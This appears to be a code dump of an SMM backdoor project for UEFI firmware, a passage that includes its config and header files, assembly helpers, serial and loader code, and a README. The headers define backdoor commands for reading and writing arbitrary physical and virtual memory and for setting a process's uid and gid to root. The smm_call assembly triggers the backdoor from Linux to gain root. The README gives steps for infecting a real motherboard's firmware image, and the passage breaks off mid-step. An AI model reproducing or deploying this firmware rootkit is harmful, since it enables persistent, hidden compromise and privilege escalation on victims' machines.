├── SmmBackdoor_X64.efi ├── SmmBackdoor_X64.pdb ├── SmmBackdoor ├── asm │ ├── common_asm.h │ └── amd64 │ │ └── common_asm.asm ├── ovmf.h ├── serial.h ├── debug.h ├── config.h ├── SmmBackdoor.inf ├── virtmem.h ├── types.h ├── loader.h ├── debug.c ├── common.h ├── printf.h ├── SmmBackdoor.h ├── serial.c ├── loader.c ├── virtmem.c ├── printf.c └── SmmBackdoor.c ├── smm_call ├── build.sh ├── smm_call.asm └── main.c ├── README.TXT ├── SmmBackdoor.py └── LICENSE.TXT /SmmBackdoor_X64.efi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/SmmBackdoor/HEAD/SmmBackdoor_X64.efi -------------------------------------------------------------------------------- /SmmBackdoor_X64.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/SmmBackdoor/HEAD/SmmBackdoor_X64.pdb -------------------------------------------------------------------------------- /SmmBackdoor/asm/common_asm.h: -------------------------------------------------------------------------------- 1 | 2 | PVOID _get_addr(); 3 | 4 | void _clear_wp(void); 5 | void _set_wp(void); 6 | -------------------------------------------------------------------------------- /smm_call/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | nasm smm_call.asm -o smm_call.o -f elf64 3 | gcc main.c smm_call.o -o smm_call 4 | -------------------------------------------------------------------------------- /SmmBackdoor/ovmf.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _OVMF_H_ 3 | #define _OVMF_H_ 4 | 5 | /* 6 | The default OVMF build writes debug messages to this IO port. 7 | */ 8 | #define OVMF_DEBUG_PORT 0x402 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /SmmBackdoor/serial.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _SERIAL_H_ 3 | #define _SERIAL_H_ 4 | 5 | #define SERIAL_PORT_0 0x3F8 /* COM1, ttyS0 */ 6 | 7 | VOID SerialPortInitialize(UINT16 Port, UINTN Baudrate); 8 | 9 | VOID SerialPortWrite(UINT16 Port, UINT8 Data); 10 | UINT8 SerialPortRead(UINT16 Port); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /SmmBackdoor/debug.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _DEBUG_H_ 3 | #define _DEBUG_H_ 4 | 5 | #define MAX_STR_LEN 255 6 | 7 | #define DbgStop() while (TRUE) {} 8 | 9 | #ifdef BACKDOOR_DEBUG 10 | 11 | void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...); 12 | 13 | #else 14 | 15 | #define DbgMsg 16 | 17 | #endif 18 | #endif 19 | -------------------------------------------------------------------------------- /SmmBackdoor/config.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _CONFIG_H_ 3 | #define _CONFIG_H_ 4 | 5 | #define BACKDOOR_DEBUG 6 | #define BACKDOOR_DEBUG_SERIAL_BUILTIN 7 | #define BACKDOOR_DEBUG_MEM 8 | 9 | // automatically dump SMRAM contents into the regular physical memory on DXE exit 10 | #define USE_SMRAM_AUTO_DUMP 11 | 12 | // prit debug messages to console also 13 | #define BACKDOOR_DEBUG_SERIAL_TO_CONSOLE 14 | 15 | // SW SMI command value for communicating with backdoor SMM code 16 | #define BACKDOOR_SW_SMI_VAL 0xCC 17 | 18 | // magic registers values for smm_call() 19 | #define BACKDOOR_SMM_CALL_R8_VAL 0x4141414141414141 20 | #define BACKDOOR_SMM_CALL_R9_VAL 0x4242424242424242 21 | 22 | /* 23 | Serial port configuration. 24 | For EFI_DEBUG_SERIAL_BUILTIN and EFI_DEBUG_SERIAL_PROTOCOL. 25 | */ 26 | #define SERIAL_BAUDRATE 115200 27 | #define SERIAL_PORT_NUM SERIAL_PORT_0 28 | 29 | #endif _CONFIG_H_ 30 | -------------------------------------------------------------------------------- /SmmBackdoor/SmmBackdoor.inf: -------------------------------------------------------------------------------- 1 | [defines] 2 | INF_VERSION = 0x00010005 3 | BASE_NAME = SmmBackdoor 4 | FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1 5 | MODULE_TYPE = DXE_SMM_DRIVER 6 | ENTRY_POINT = BackdoorEntry 7 | 8 | [Sources] 9 | debug.c 10 | loader.c 11 | printf.c 12 | SmmBackdoor.c 13 | serial.c 14 | virtmem.c 15 | 16 | [Sources.X64] 17 | asm/amd64/common_asm.asm 18 | 19 | [Packages] 20 | MdePkg/MdePkg.dec 21 | MdeModulePkg/MdeModulePkg.dec 22 | IntelFrameworkPkg/IntelFrameworkPkg.dec 23 | IntelFrameworkModulePkg/IntelFrameworkModulePkg.dec 24 | StdLib/StdLib.dec 25 | 26 | [LibraryClasses] 27 | UefiDriverEntryPoint 28 | UefiBootServicesTableLib 29 | DebugLib 30 | DevicePathLib 31 | SynchronizationLib 32 | 33 | [Protocols] 34 | gEfiSimpleTextOutProtocolGuid 35 | gEfiLoadedImageProtocolGuid 36 | gEfiSmmCpuProtocolGuid 37 | gEfiSmmBase2ProtocolGuid 38 | gEfiSmmAccess2ProtocolGuid 39 | gEfiSmmSwDispatch2ProtocolGuid 40 | gEfiSmmPeriodicTimerDispatch2ProtocolGuid 41 | gEfiSmmEndOfDxeProtocolGuid 42 | gEfiDevicePathProtocolGuid 43 | gEfiSerialIoProtocolGuid 44 | 45 | [Depex] 46 | TRUE 47 | -------------------------------------------------------------------------------- /SmmBackdoor/virtmem.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _VIRTMEM_H_ 3 | #define _VIRTMEM_H_ 4 | 5 | #define PFN_TO_PAGE(_val_) ((_val_) << PAGE_SHIFT) 6 | #define PAGE_TO_PFN(_val_) ((_val_) >> PAGE_SHIFT) 7 | 8 | // get MPL4 address from CR3 register value 9 | #define PML4_ADDRESS(_val_) ((_val_) & 0xfffffffffffff000) 10 | 11 | // get address translation indexes from virtual address 12 | #define PML4_INDEX(_addr_) (((_addr_) >> 39) & 0x1ff) 13 | #define PDPT_INDEX(_addr_) (((_addr_) >> 30) & 0x1ff) 14 | #define PDE_INDEX(_addr_) (((_addr_) >> 21) & 0x1ff) 15 | #define PTE_INDEX(_addr_) (((_addr_) >> 12) & 0x1ff) 16 | 17 | #define PAGE_OFFSET_4K(_addr_) ((_addr_) & 0xfff) 18 | #define PAGE_OFFSET_2M(_addr_) ((_addr_) & 0x1fffff) 19 | 20 | typedef struct _CONTROL_REGS 21 | { 22 | UINT64 Cr0, Cr3, Cr4; 23 | 24 | } CONTROL_REGS, 25 | *PCONTROL_REGS; 26 | 27 | BOOLEAN Check_IA_32e(PCONTROL_REGS ControlRegs); 28 | 29 | BOOLEAN VirtualAddrValid(UINT64 Addr, UINT64 Cr3); 30 | 31 | EFI_STATUS VirtualToPhysical(UINT64 Addr, UINT64 *Ret, UINT64 Cr3, UINT64 SmmCr3); 32 | 33 | BOOLEAN VirtualAddrRemap(UINT64 Addr, UINT64 NewAddr, UINT64 Cr3, BOOLEAN *pbLargePage); 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /SmmBackdoor/types.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _TYPES_H_ 3 | #define _TYPES_H_ 4 | 5 | /* 6 | NT-like types definitions. 7 | */ 8 | 9 | // 1 byte signed 10 | typedef char CHAR; 11 | typedef char * PCHAR; 12 | 13 | // 1 byte unsigned 14 | typedef unsigned char UCHAR; 15 | typedef unsigned char * PUCHAR; 16 | 17 | // 2 byte signed 18 | typedef short SHORT; 19 | typedef short * PSHORT; 20 | 21 | // 2 byte unsigned 22 | typedef unsigned short USHORT; 23 | typedef unsigned short * PUSHORT; 24 | 25 | // 4 byte signed 26 | typedef long LONG; 27 | typedef long * PLONG; 28 | 29 | // 4 byte unsigned 30 | typedef unsigned long ULONG; 31 | typedef unsigned long * PULONG; 32 | 33 | // 8 byte signed 34 | typedef long long LONGLONG; 35 | typedef long long * PLONGLONG; 36 | 37 | // 8 byte unsigned 38 | typedef unsigned long long ULONGLONG; 39 | typedef unsigned long long * PULONGLONG; 40 | 41 | // pointer sized 42 | typedef void * PVOID; 43 | 44 | #endif 45 | -------------------------------------------------------------------------------- /SmmBackdoor/asm/amd64/common_asm.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | public _get_addr 4 | 5 | public _clear_wp 6 | public _set_wp 7 | 8 | PUSHAD macro 9 | 10 | push rbx 11 | push rcx 12 | push rdx 13 | push rsi 14 | push rdi 15 | push r8 16 | push r9 17 | push r10 18 | push r11 19 | push r12 20 | push r13 21 | push r14 22 | push r15 23 | 24 | endm 25 | 26 | POPAD macro 27 | 28 | pop r15 29 | pop r14 30 | pop r13 31 | pop r12 32 | pop r11 33 | pop r10 34 | pop r9 35 | pop r8 36 | pop rdi 37 | pop rsi 38 | pop rdx 39 | pop rcx 40 | pop rbx 41 | 42 | endm 43 | 44 | 45 | _get_addr: 46 | 47 | call _lb 48 | 49 | _lb: 50 | 51 | pop rax 52 | ret 53 | 54 | 55 | _clear_wp: 56 | 57 | push rax 58 | mov rax, cr0 59 | and eax, not 000010000h 60 | mov cr0, rax 61 | pop rax 62 | ret 63 | 64 | 65 | _set_wp: 66 | 67 | push rax 68 | mov rax, cr0 69 | or eax, 000010000h 70 | mov cr0, rax 71 | pop rax 72 | ret 73 | 74 | 75 | end 76 | -------------------------------------------------------------------------------- /smm_call/smm_call.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | GLOBAL smm_call 3 | 4 | ; 5 | ; Magic values that backdoor checks for. 6 | ; 7 | %define R8_VAL 0x4141414141414141 8 | %define R9_VAL 0x4242424242424242 9 | 10 | ; 11 | ; int smm_call(long code, unsigned long long arg1, unsigned long long arg2) 12 | ; 13 | ; Sends control request with specified code and argument to 14 | ; SMM backdoor. 15 | ; 16 | ; Returns EFI_STATUS of requested operation. 17 | ; 18 | smm_call: 19 | 20 | push rcx 21 | push r8 22 | push r9 23 | 24 | ; SMI timer handler checks R8 and R9 for this magic values 25 | mov r8, R8_VAL 26 | mov r9, R9_VAL 27 | 28 | xor rax, rax 29 | dec rax 30 | 31 | ; jump in infinite loop with RCX as instruction address 32 | mov rcx, _loop 33 | jmp rcx 34 | 35 | ; landing area for modified RCX value 36 | nop 37 | nop 38 | nop 39 | nop 40 | nop 41 | nop 42 | jmp short _end 43 | 44 | _loop: 45 | ; 46 | ; SMI timer handler will be called when process runs in 47 | ; infinite loop with magic registers values. SMM backdoor 48 | ; decrements RCX value (--> jmp _end) to exit from the loop. 49 | ; Code and Arg for SmmCallHandle() are going in RDI and RSI. 50 | ; 51 | nop 52 | jmp rcx 53 | 54 | _end: 55 | 56 | pop r9 57 | pop r8 58 | pop rcx 59 | 60 | ; SMM backdoor returns status code in RAX register 61 | ret 62 | 63 | -------------------------------------------------------------------------------- /SmmBackdoor/loader.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _LOADER_H_ 3 | #define _LOADER_H_ 4 | 5 | #if defined(_M_X64) || defined(__amd64__) 6 | 7 | typedef EFI_IMAGE_NT_HEADERS64 EFI_IMAGE_NT_HEADERS; 8 | 9 | #else 10 | 11 | typedef EFI_IMAGE_NT_HEADERS32 EFI_IMAGE_NT_HEADERS; 12 | 13 | #endif 14 | 15 | #define LDR_UPDATE_RELOCS(_addr_, _old_, _new_) \ 16 | \ 17 | { \ 18 | EFI_IMAGE_NT_HEADERS *nt_h = (EFI_IMAGE_NT_HEADERS *)RVATOVA((_addr_), \ 19 | ((EFI_IMAGE_DOS_HEADER *)(_addr_))->e_lfanew); \ 20 | \ 21 | LdrProcessRelocs( \ 22 | (_addr_), \ 23 | (PVOID)((PUCHAR)nt_h->OptionalHeader.ImageBase - (PUCHAR)(_old_) + (PUCHAR)(_new_)) \ 24 | ); \ 25 | } 26 | 27 | VOID LdrProcessRelocs(PVOID Image, PVOID NewBase); 28 | ULONG LdrGetProcAddress(PVOID Image, char *lpszFunctionName); 29 | 30 | #endif -------------------------------------------------------------------------------- /SmmBackdoor/debug.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "config.h" 4 | #include "SmmBackdoor.h" 5 | #include "printf.h" 6 | #include "debug.h" 7 | //-------------------------------------------------------------------------------------- 8 | #if defined(BACKDOOR_DEBUG) 9 | //-------------------------------------------------------------------------------------- 10 | static char *NameFromPath(char *lpszPath) 11 | { 12 | int i = 0, sep = -1; 13 | 14 | for (i = 0; i < strlen(lpszPath); i += 1) 15 | { 16 | if (lpszPath[i] == '\\' || lpszPath[i] == '/') 17 | { 18 | sep = i; 19 | } 20 | } 21 | 22 | if (sep >= 0) 23 | { 24 | return lpszPath + sep + 1; 25 | } 26 | 27 | return lpszPath; 28 | } 29 | //-------------------------------------------------------------------------------------- 30 | void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...) 31 | { 32 | va_list arglist; 33 | char szBuff[MAX_STR_LEN], szOutBuff[MAX_STR_LEN]; 34 | 35 | va_start(arglist, lpszMsg); 36 | tfp_vsprintf(szBuff, lpszMsg, arglist); 37 | va_end(arglist); 38 | 39 | // build debug message string 40 | tfp_sprintf(szOutBuff, "%s(%d) : %s", NameFromPath(lpszFile), Line, szBuff); 41 | 42 | // write message into the serial port 43 | SerialPrint(szOutBuff); 44 | } 45 | //-------------------------------------------------------------------------------------- 46 | #endif // BACKDOOR_DEBUG 47 | //-------------------------------------------------------------------------------------- 48 | // EoF 49 | -------------------------------------------------------------------------------- /SmmBackdoor/common.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _COMMON_H_ 3 | #define _COMMON_H_ 4 | 5 | #include "types.h" 6 | 7 | #define RVATOVA(_base_, _offset_) ((PUCHAR)(_base_) + (ULONG)(_offset_)) 8 | 9 | #define PAGE_SHIFT 12 10 | #define PAGE_SIZE 0x1000 11 | #define PAGE_SIZE_2M 0x200000 12 | 13 | // default raw image section alignment for EDK 14 | #define DEFAULT_EDK_ALIGN 0x20 15 | 16 | #define TO_MILLISECONDS(_seconds_) ((_seconds_) * 1000) 17 | #define TO_MICROSECONDS(_seconds_) (TO_MILLISECONDS(_seconds_) * 1000) 18 | #define TO_NANOSECONDS(_seconds_) (TO_MICROSECONDS(_seconds_) * 1000) 19 | 20 | // convert GUID to string in simple way 21 | #define GUID_STR_MAXLEN 38 22 | #define GUID_STR(_str_, _guid_) \ 23 | \ 24 | tfp_sprintf((_str_), "{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}", \ 25 | (_guid_)->Data1, (_guid_)->Data2, (_guid_)->Data3, \ 26 | (_guid_)->Data4[0], (_guid_)->Data4[1], \ 27 | (_guid_)->Data4[2], (_guid_)->Data4[3], \ 28 | (_guid_)->Data4[4], (_guid_)->Data4[5], \ 29 | (_guid_)->Data4[6], (_guid_)->Data4[7] \ 30 | ); 31 | 32 | #define FPTR32 "0x%x" 33 | #define FPTR64 "0x%llx" 34 | 35 | #if defined(_M_X64) || defined(__amd64__) 36 | 37 | #define FPTR FPTR64 38 | 39 | #else 40 | 41 | #define FPTR FPTR32 42 | 43 | #endif 44 | #endif 45 | -------------------------------------------------------------------------------- /SmmBackdoor/printf.h: -------------------------------------------------------------------------------- 1 | /* 2 | File: tinyprintf.h 3 | 4 | Copyright (C) 2004 Kustaa Nyholm 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 19 | */ 20 | 21 | #ifndef _PRINTF_H_ 22 | #define _PRINTF_H_ 23 | 24 | #include 25 | 26 | /** 27 | * Declaration 28 | */ 29 | 30 | #ifdef __GNUC__ 31 | 32 | #define _TFP_SPECIFY_PRINTF_FMT(fmt_idx, arg1_idx) __attribute__((format(printf, fmt_idx, arg1_idx))) 33 | 34 | #else 35 | 36 | #define _TFP_SPECIFY_PRINTF_FMT(fmt_idx, arg1_idx) 37 | 38 | #endif 39 | 40 | #ifdef __cplusplus 41 | 42 | extern "C" 43 | { 44 | 45 | #endif 46 | 47 | typedef void (* putcf)(void *, char); 48 | 49 | /* 50 | 'tfp_format' really is the central function for all tinyprintf. For each output character 51 | after formatting, the 'putf' callback is called with 2 args: 52 | 53 | - an arbitrary void* 'putp' param defined by the user and passed unmodified from 'tfp_format'; 54 | - the character; 55 | 56 | The 'tfp_printf' and 'tfp_sprintf' functions simply define their own callback and pass to 57 | it the right 'putp' it is expecting. 58 | */ 59 | void tfp_format(void *putp, putcf putf, const char *format, va_list va); 60 | 61 | int tfp_vsnprintf(char *str, size_t size, const char *format, va_list ap); 62 | int tfp_snprintf(char *str, size_t size, const char *format, ...) _TFP_SPECIFY_PRINTF_FMT(3, 4); 63 | int tfp_vsprintf(char *str, const char *format, va_list ap); 64 | int tfp_sprintf(char *str, const char *format, ...) _TFP_SPECIFY_PRINTF_FMT(2, 3); 65 | 66 | #ifdef __cplusplus 67 | 68 | } 69 | 70 | #endif 71 | #endif 72 | -------------------------------------------------------------------------------- /SmmBackdoor/SmmBackdoor.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _SMM_BACKDOOR_H_ 3 | #define _SMM_BACKDOOR_H_ 4 | 5 | #define BACKDOOR_VAR_INFO_NAME L"SmmBackdoorInfo" 6 | 7 | #define BACKDOOR_VAR_GUID { 0x3a452e85, 0xa7ca, 0x438f, \ 8 | { 0xa5, 0xcb, 0xad, 0x3a, 0x70, 0xc5, 0xd0, 0x1b }} 9 | 10 | #pragma warning(disable: 4200) 11 | 12 | #pragma pack(1) 13 | 14 | // idicate that SMRAM regions were copied to BACKDOOR_INFO structure 15 | #define BACKDOOR_INFO_FULL 0xffffffff 16 | 17 | typedef struct _INFECTOR_CONFIG 18 | { 19 | VOID *BackdoorEntryInfected; 20 | UINTN OriginalEntryPoint; 21 | VOID *BackdoorEntryExploit; 22 | 23 | } INFECTOR_CONFIG, 24 | *PINFECTOR_CONFIG; 25 | 26 | typedef struct _BACKDOOR_INFO 27 | { 28 | // number of SMI that was handled 29 | UINTN CallsCount; 30 | 31 | // number of timer handlr ticks 32 | UINTN TicksCount; 33 | 34 | // EFI_STATUS of last operation 35 | UINTN BackdoorStatus; 36 | 37 | // MSR_SMM_MCA_CAP register value 38 | UINT64 SmmMcaCap; 39 | 40 | // MSR_SMM_FEATURE_CONTROL register value 41 | UINT64 SmmFeatureControl; 42 | 43 | // List of structures with available SMRAM regions information. 44 | // Zero value of EFI_SMRAM_DESCRIPTOR.PhysicalStart means last item of list. 45 | EFI_SMRAM_DESCRIPTOR SmramMap[]; 46 | 47 | } BACKDOOR_INFO, 48 | *PBACKDOOR_INFO; 49 | 50 | #pragma pack() 51 | 52 | // test for alive SMM backdoor 53 | #define BACKDOOR_SW_DATA_PING 0 54 | 55 | // read physical memory page command 56 | #define BACKDOOR_SW_DATA_READ_PHYS_PAGE 1 57 | 58 | // read virtual memory page command 59 | #define BACKDOOR_SW_DATA_READ_VIRT_PAGE 2 60 | 61 | // write physical memory page command 62 | #define BACKDOOR_SW_DATA_WRITE_PHYS_PAGE 3 63 | 64 | // write virtual memory page command 65 | #define BACKDOOR_SW_DATA_WRITE_VIRT_PAGE 4 66 | 67 | // enable periodic timer handler 68 | #define BACKDOOR_SW_DATA_TIMER_ENABLE 5 69 | 70 | // disable periodic timer handler 71 | #define BACKDOOR_SW_DATA_TIMER_DISABLE 6 72 | 73 | // call specified subroutine 74 | #define BACKDOOR_SW_DATA_CALL 7 75 | 76 | // set uid/gid/euid/egid of current process to 0 77 | #define BACKDOOR_SW_DATA_PRIVESC 8 78 | 79 | // read physical memory dowrd command 80 | #define BACKDOOR_SW_DATA_READ_PHYS_DWORD 9 81 | 82 | // read virtual memory dowrd command 83 | #define BACKDOOR_SW_DATA_READ_VIRT_DWORD 10 84 | 85 | // write physical memory dowrd command 86 | #define BACKDOOR_SW_DATA_WRITE_PHYS_DWORD 11 87 | 88 | // write virtual memory dowrd command 89 | #define BACKDOOR_SW_DATA_WRITE_VIRT_DWORD 12 90 | 91 | void SerialPrint(char *Message); 92 | 93 | #endif 94 | -------------------------------------------------------------------------------- /SmmBackdoor/serial.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "serial.h" 4 | 5 | /* 6 | UART Register Offsets 7 | */ 8 | #define BAUD_LOW_OFFSET 0x00 9 | #define BAUD_HIGH_OFFSET 0x01 10 | #define IER_OFFSET 0x01 11 | #define LCR_SHADOW_OFFSET 0x01 12 | #define FCR_SHADOW_OFFSET 0x02 13 | #define IR_CONTROL_OFFSET 0x02 14 | #define FCR_OFFSET 0x02 15 | #define EIR_OFFSET 0x02 16 | #define BSR_OFFSET 0x03 17 | #define LCR_OFFSET 0x03 18 | #define MCR_OFFSET 0x04 19 | #define LSR_OFFSET 0x05 20 | #define MSR_OFFSET 0x06 21 | 22 | /* 23 | UART Register Bit Defines 24 | */ 25 | #define LSR_TXRDY 0x20 26 | #define LSR_RXDA 0x01 27 | #define DLAB 0x01 28 | 29 | #define BAUDRATE_MAX 115200 30 | 31 | /* 32 | UART Settings 33 | */ 34 | UINT8 m_Data = 8; 35 | UINT8 m_Stop = 1; 36 | UINT8 m_Parity = 0; 37 | UINT8 m_BreakSet = 0; 38 | //-------------------------------------------------------------------------------------- 39 | /* 40 | Initialize the serial device hardware. 41 | */ 42 | VOID SerialPortInitialize(UINT16 Port, UINTN Baudrate) 43 | { 44 | // Map 5..8 to 0..3 45 | UINT8 Data = (UINT8)(m_Data - (UINT8)5); 46 | 47 | // Calculate divisor for baud generator 48 | UINTN Divisor = BAUDRATE_MAX / Baudrate; 49 | 50 | // Set communications format 51 | UINT8 OutputData = (UINT8)((DLAB << 7) | (m_BreakSet << 6) | (m_Parity << 3) | (m_Stop << 2) | Data); 52 | __outbyte((UINTN)(Port + LCR_OFFSET), OutputData); 53 | 54 | // Configure baud rate 55 | __outbyte((UINTN)(Port + BAUD_HIGH_OFFSET), (UINT8)(Divisor >> 8)); 56 | __outbyte((UINTN)(Port + BAUD_LOW_OFFSET), (UINT8)(Divisor & 0xff)); 57 | 58 | // Switch back to bank 0 59 | OutputData = (UINT8)((~DLAB << 7) | (m_BreakSet << 6) | (m_Parity << 3) | (m_Stop << 2) | Data); 60 | __outbyte((UINTN)(Port + LCR_OFFSET), OutputData); 61 | } 62 | //-------------------------------------------------------------------------------------- 63 | /* 64 | Write data to serial device. 65 | */ 66 | VOID SerialPortWrite(UINT16 Port, UINT8 Data) 67 | { 68 | UINT8 Status = 0; 69 | 70 | do 71 | { 72 | // Wait for the serail port to be ready 73 | Status = __inbyte(Port + LSR_OFFSET); 74 | 75 | } while ((Status & LSR_TXRDY) == 0); 76 | 77 | __outbyte(Port, Data); 78 | } 79 | //-------------------------------------------------------------------------------------- 80 | /* 81 | Reads data from a serial device. 82 | */ 83 | UINT8 SerialPortRead(UINT16 Port) 84 | { 85 | UINT8 Status = 0; 86 | 87 | do 88 | { 89 | // Wait for the serail port to be ready 90 | Status = __inbyte(Port + LSR_OFFSET); 91 | 92 | } while ((Status & LSR_RXDA) == 0); 93 | 94 | return __inbyte(Port); 95 | } 96 | //-------------------------------------------------------------------------------------- 97 | // EoF 98 | -------------------------------------------------------------------------------- /SmmBackdoor/loader.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "common.h" 5 | #include "loader.h" 6 | //-------------------------------------------------------------------------------------- 7 | VOID LdrProcessRelocs(PVOID Image, PVOID NewBase) 8 | { 9 | EFI_IMAGE_NT_HEADERS *pHeaders = (EFI_IMAGE_NT_HEADERS *) 10 | ((PUCHAR)Image + ((EFI_IMAGE_DOS_HEADER *)Image)->e_lfanew); 11 | 12 | ULONG RelocationSize = pHeaders->OptionalHeader.DataDirectory[EFI_IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; 13 | ULONGLONG OldBase = pHeaders->OptionalHeader.ImageBase; 14 | 15 | EFI_IMAGE_BASE_RELOCATION *pRelocation = (EFI_IMAGE_BASE_RELOCATION *)RVATOVA( 16 | Image, 17 | pHeaders->OptionalHeader.DataDirectory[EFI_IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress 18 | ); 19 | if (pRelocation) 20 | { 21 | ULONG Size = 0; 22 | while (RelocationSize > Size && pRelocation->SizeOfBlock) 23 | { 24 | ULONG Number = (pRelocation->SizeOfBlock - 8) / 2, i = 0; 25 | PUSHORT Rel = (PUSHORT)((PUCHAR)pRelocation + 8); 26 | 27 | for (i = 0; i < Number; i++) 28 | { 29 | if (Rel[i] > 0) 30 | { 31 | USHORT Type = (Rel[i] & 0xF000) >> 12; 32 | PVOID Addr = (PVOID)RVATOVA(Image, pRelocation->VirtualAddress + (Rel[i] & 0x0FFF)); 33 | 34 | // check for supporting type 35 | if (Type != EFI_IMAGE_REL_BASED_DIR64) 36 | { 37 | return; 38 | } 39 | 40 | // fix base 41 | *(PULONGLONG)Addr += (ULONGLONG)NewBase - OldBase; 42 | } 43 | } 44 | 45 | pRelocation = (EFI_IMAGE_BASE_RELOCATION *)((PUCHAR)pRelocation + pRelocation->SizeOfBlock); 46 | Size += pRelocation->SizeOfBlock; 47 | } 48 | } 49 | } 50 | //-------------------------------------------------------------------------------------- 51 | ULONG LdrGetProcAddress(PVOID Image, char *lpszFunctionName) 52 | { 53 | EFI_IMAGE_EXPORT_DIRECTORY *pExport = NULL; 54 | 55 | EFI_IMAGE_NT_HEADERS *pHeaders = (EFI_IMAGE_NT_HEADERS *) 56 | ((PUCHAR)Image + ((EFI_IMAGE_DOS_HEADER *)Image)->e_lfanew); 57 | 58 | if (pHeaders->OptionalHeader.DataDirectory[EFI_IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) 59 | { 60 | pExport = (EFI_IMAGE_EXPORT_DIRECTORY *)RVATOVA( 61 | Image, 62 | pHeaders->OptionalHeader.DataDirectory[EFI_IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress 63 | ); 64 | } 65 | 66 | if (pExport) 67 | { 68 | PULONG AddressOfFunctions = (PULONG)RVATOVA(Image, pExport->AddressOfFunctions); 69 | PSHORT AddrOfOrdinals = (PSHORT)RVATOVA(Image, pExport->AddressOfNameOrdinals); 70 | PULONG AddressOfNames = (PULONG)RVATOVA(Image, pExport->AddressOfNames); 71 | ULONG i = 0; 72 | 73 | for (i = 0; i < pExport->NumberOfFunctions; i++) 74 | { 75 | if (!strcmp((char *)RVATOVA(Image, AddressOfNames[i]), lpszFunctionName)) 76 | { 77 | return AddressOfFunctions[AddrOfOrdinals[i]]; 78 | } 79 | } 80 | } 81 | 82 | return 0; 83 | } 84 | //-------------------------------------------------------------------------------------- 85 | // EoF 86 | -------------------------------------------------------------------------------- /README.TXT: -------------------------------------------------------------------------------- 1 | 2 | SMM backdoor for UEFI based platforms 3 | 4 | ***************************************************************** 5 | 6 | !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 7 | 8 | This is legacy abandoned project, for current version of the 9 | backdoor check SMM Backdoor Next Gen project page and its 10 | documentation: 11 | 12 | https://github.com/Cr4sh/SmmBackdoorNg 13 | 14 | !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 15 | 16 | For more information about this project please read the following article: 17 | 18 | http://blog.cr4.sh/2015/07/building-reliable-smm-backdoor-for-uefi.html 19 | 20 | 21 | Repository contents: 22 | 23 | * SmmBackdoor.py -- Python program that allows to infect PE image of UEFI DXE driver with backdoor code, communicate with installed backdoor to read SMRAM and do some other useful things. 24 | 25 | * SmmBackdoor/ -- source code of UEFI part that runs in System Management Mode. 26 | 27 | * SmmBackdoor.efi, SmmBackdoor.pdb -- UEFI part binary and it's debug symbols. 28 | 29 | * smm_call/ -- proof of concept Linux program that interacts with installed backdoor to get root privileges for it's process. 30 | 31 | 32 | To build SmmBackdoor project you need to have a Windows machine with Visual Studio 2008 and EDK2 source code (https://github.com/tianocore/edk2). 33 | 34 | Step by step instruction: 35 | 36 | 1. Copy SmmBackdoor subdirectory to EDK2 source code directory. 37 | 38 | 2. Edit Conf/target.txt file and set ACTIVE_PLATFORM property value to OvmfPkg/OvmfPkgX64.dsc. 39 | 40 | 3. Edit OvmfPkg/OvmfPkgX64.dsc and add the following lines at the end of the file: 41 | 42 | # 43 | # 3-rd party drivers 44 | # 45 | SmmBackdoor/SmmBackdoor.inf { 46 | 47 | DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf 48 | MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf 49 | } 50 | 51 | 4. Run Visual Studio 2008 Command Prompt and cd to EDK2 directory. 52 | 53 | 5. Execute Edk2Setup.bat --pull to configure build environment and download required binaries. 54 | 55 | 6. cd SmmBackdoor && build 56 | 57 | 7. After compilation resulting PE image file will be created at Build/OvmfX64/DEBUG_VS2008x86/X64/SmmBackdoor/SmmBackdoor/OUTPUT/SmmBackdoor.efi 58 | 59 | 60 | To run SmmBackdoor.efi as infector payload on example of Intel DQ77KB motherboard: 61 | 62 | 1. Dump motherboard firmware using hardware SPI programmer. 63 | 64 | 2. Open dumped flash image in UEFITool. 65 | 66 | 3. Extract PE image of FFS file with GUID = 26A2481E-4424-46A2-9943-CC4039EAD8F8 and save it to extracted.bin file. 67 | 68 | 4. Infect 